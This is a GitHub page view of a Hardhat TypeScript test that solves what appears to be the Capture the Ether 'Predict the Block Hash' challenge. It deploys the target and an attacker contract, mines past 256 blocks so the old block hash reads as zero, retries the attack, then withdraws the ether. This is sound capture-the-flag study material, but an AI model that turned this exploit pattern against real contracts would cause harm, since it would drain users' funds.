generated from nicobevilacqua/hardhat-solidity-typescript-boilerplate
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathPredictTheBlockHashChallenge.test.ts
71 lines (56 loc) · 2.03 KB
/
PredictTheBlockHashChallenge.test.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import { expect } from 'chai';
import { Contract } from 'ethers';
import { ethers, network } from 'hardhat';
const { utils, provider } = ethers;
describe('PredictTheBlockHashChallenge', () => {
let target: Contract;
before(async () => {
const targetFactory = await ethers.getContractFactory('PredictTheBlockHashChallenge');
target = await targetFactory.deploy({
value: utils.parseEther('1'),
});
await target.deployed();
console.log('Target deployed to:', target.address);
});
it('Exploit', async () => {
const attackerFactory = await ethers.getContractFactory('PredictTheBlockHashChallengeAttacker');
const attacker = await attackerFactory.deploy(target.address, {
value: utils.parseEther('1'),
});
const receipt = await attacker.deployed();
console.log(receipt);
const { blockNumber: lockBlockNumber } = await provider.getTransaction(
receipt.deployTransaction.hash
);
const minBlockNumber = <number>lockBlockNumber + 256 + 1;
console.log(lockBlockNumber, minBlockNumber);
console.log('wait 256 blocks');
// commented for testing
// await new Promise((resolve) => setTimeout(resolve, 1000 * 13 * 256));
let blockNumber = await provider.getBlockNumber();
while (blockNumber < minBlockNumber) {
console.log('waiting');
// commented for testing
// await new Promise((resolve) => setTimeout(resolve, 1000 * 13));
await network.provider.send('evm_mine');
blockNumber = await provider.getBlockNumber();
console.log('blockNumber', blockNumber);
}
while (!(await target.isComplete())) {
try {
console.log('trying');
const tx = await attacker.tryAttack();
await tx.wait();
} catch (error) {
console.log(error);
await new Promise((resolve) => setTimeout(resolve, 1000 * 13));
}
}
console.log('withdrawing');
const tx = await attacker.withdraw();
await tx.wait();
});
after(async () => {
expect(await target.isComplete()).to.equal(true);
});
});